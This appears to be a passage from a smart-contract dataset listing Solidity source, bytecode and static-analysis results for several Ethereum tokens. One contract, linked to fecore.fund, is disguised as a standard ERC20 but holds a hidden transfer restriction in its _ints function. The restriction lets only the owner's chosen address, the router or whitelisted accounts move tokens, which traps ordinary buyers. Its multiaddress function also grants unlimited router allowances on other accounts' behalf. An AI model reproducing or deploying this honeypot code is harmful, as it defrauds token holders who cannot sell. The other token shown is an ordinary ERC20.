00606082015260800190565b6020808252601f908201527f474e42553a3a7065726d69743a20696e76616c6964207369676e617475726500604082015260600190565b6020808252601d908201527f474e42553a3a756e766573743a4e6f2076657374656420616d6f756e74000000604082015260600190565b60208082526023908201527f474e42553a6d756c39363a206d756c7469706c69636174696f6e206f7665726660408201527f6c6f770000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526022908201527f474e42553a3a64656c656761746542795369673a20696e76616c6964206e6f6e60408201527f6365000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f474e42553a3a64656c656761746542795369673a20696e76616c69642073696760408201527f6e61747572650000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f474e42553a3a7065726d69743a207369676e6174757265206578706972656400604082015260600190565b9283526020830191909152604082015260600190565b63ffffffff91909116815260200190565b63ffffffff9290921682526bffffffffffffffffffffffff16602082015260400190565b60ff91909116815260200190565b6bffffffffffffffffffffffff91909116815260200190565b6bffffffffffffffffffffffff92831681529116602082015260400190565b60405181810167ffffffffffffffff81118282101715614d1d57614d1d614f77565b604052919050565b600067ffffffffffffffff821115614d3f57614d3f614f77565b5060209081020190565b60008219821115614d5c57614d5c614f19565b500190565b600063ffffffff808316818516808303821115614d8057614d80614f19565b01949350505050565b60006bffffffffffffffffffffffff808316818516808303821115614d8057614d80614f19565b600063ffffffff80841680614dc757614dc7614f48565b92169190910492915050565b60006bffffffffffffffffffffffff80841680614dc757614dc7614f48565b60006bffffffffffffffffffffffff80831681851681830481118215151615614e1d57614e1d614f19565b02949350505050565b600082821015614e3857614e38614f19565b500390565b600063ffffffff83811690831681811015614e5a57614e5a614f19565b039392505050565b60006bffffffffffffffffffffffff83811690831681811015614e5a57614e5a614f19565b600081614e9657614e96614f19565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614eee57614eee614f19565b5060010190565b600063ffffffff80831681811415614f0f57614f0f614f19565b6001019392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b8015158114610bcf57600080fdfe474e42553a3a756e766573743a20616c726561647920756e76657374656420616d6f756e74206578636565647320746f556e76657374474e42553a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365474e42553a3a6672656543697263756c6174696f6e3a20616d6f756e742065786365656420746f74616c537570706c79474e42553a3a6d756c7469766573743a20616d6f756e7420657863656564732039362062697473474e42553a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773474e42553a3a7065726d69743a20616d6f756e7420657863656564732039362062697473474e42553a3a62616c616e63654f663a20756e766573746564206578636565642076657374656420616d6f756e74474e42553a3a6275726e546f6b656e733a20616d6f756e7420657863656564732039362062697473474e42553a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473474e42553a3a5f766573743a2065786365656473206f776e65722062616c616e6365474e42553a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473474e42553a3a6275726e546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365474e42553a3a617070726f76653a20616d6f756e7420657863656564732039362062697473474e42553a3a6672656543697263756c6174696f6e3a20616464696e67206f766572666c6f77474e42553a3a6d756c7469766573743a207472616e7366657220616d6f756e7420657863656564732062616c616e6365474e42553a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773474e42553a3a6275726e546f6b656e733a207472616e7366657220616d6f756e74206578636565647320746f74616c20737570706c79474e42553a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365474e42553a6d756c39363a20616d6f756e7420657863656564732075696e743936474e42553a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773474e42553a3a766573743a20616d6f756e7420657863656564732039362062697473a26469706673582212200411e264d09cf94b2e62a762b827fd9c08eb09587de5a825361b0709c19f376664736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,662
0xd408a9520a2ba40c08f460ba9ea6c91c639bd909
/** *** https://fecore.fund/ */ pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _ints(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _ints(address sender, address recipient, uint256 amount) internal view virtual{ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){ _Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash); } } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _Erc20Token(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122046f0912e71b79eba6ee20e9a2fdf680999e6cb68e552bee3225a332690a69cf064736f6c63430006060033
{"success": true, "error": null, "results": {}}
5,663
0x388e74ef9a61befadebea540743e7b22899e94d2
/** *Submitted for verification at Etherscan.io on 2021-06-15 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Rokos Basilisk' contract // // Symbol : ROKO // Name : Rokos Basilisk // Total supply: 10000000000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract ROKO is BurnableToken { string public constant name = "Rokos Basilisk"; string public constant symbol = "ROKO"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 10000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b6040518082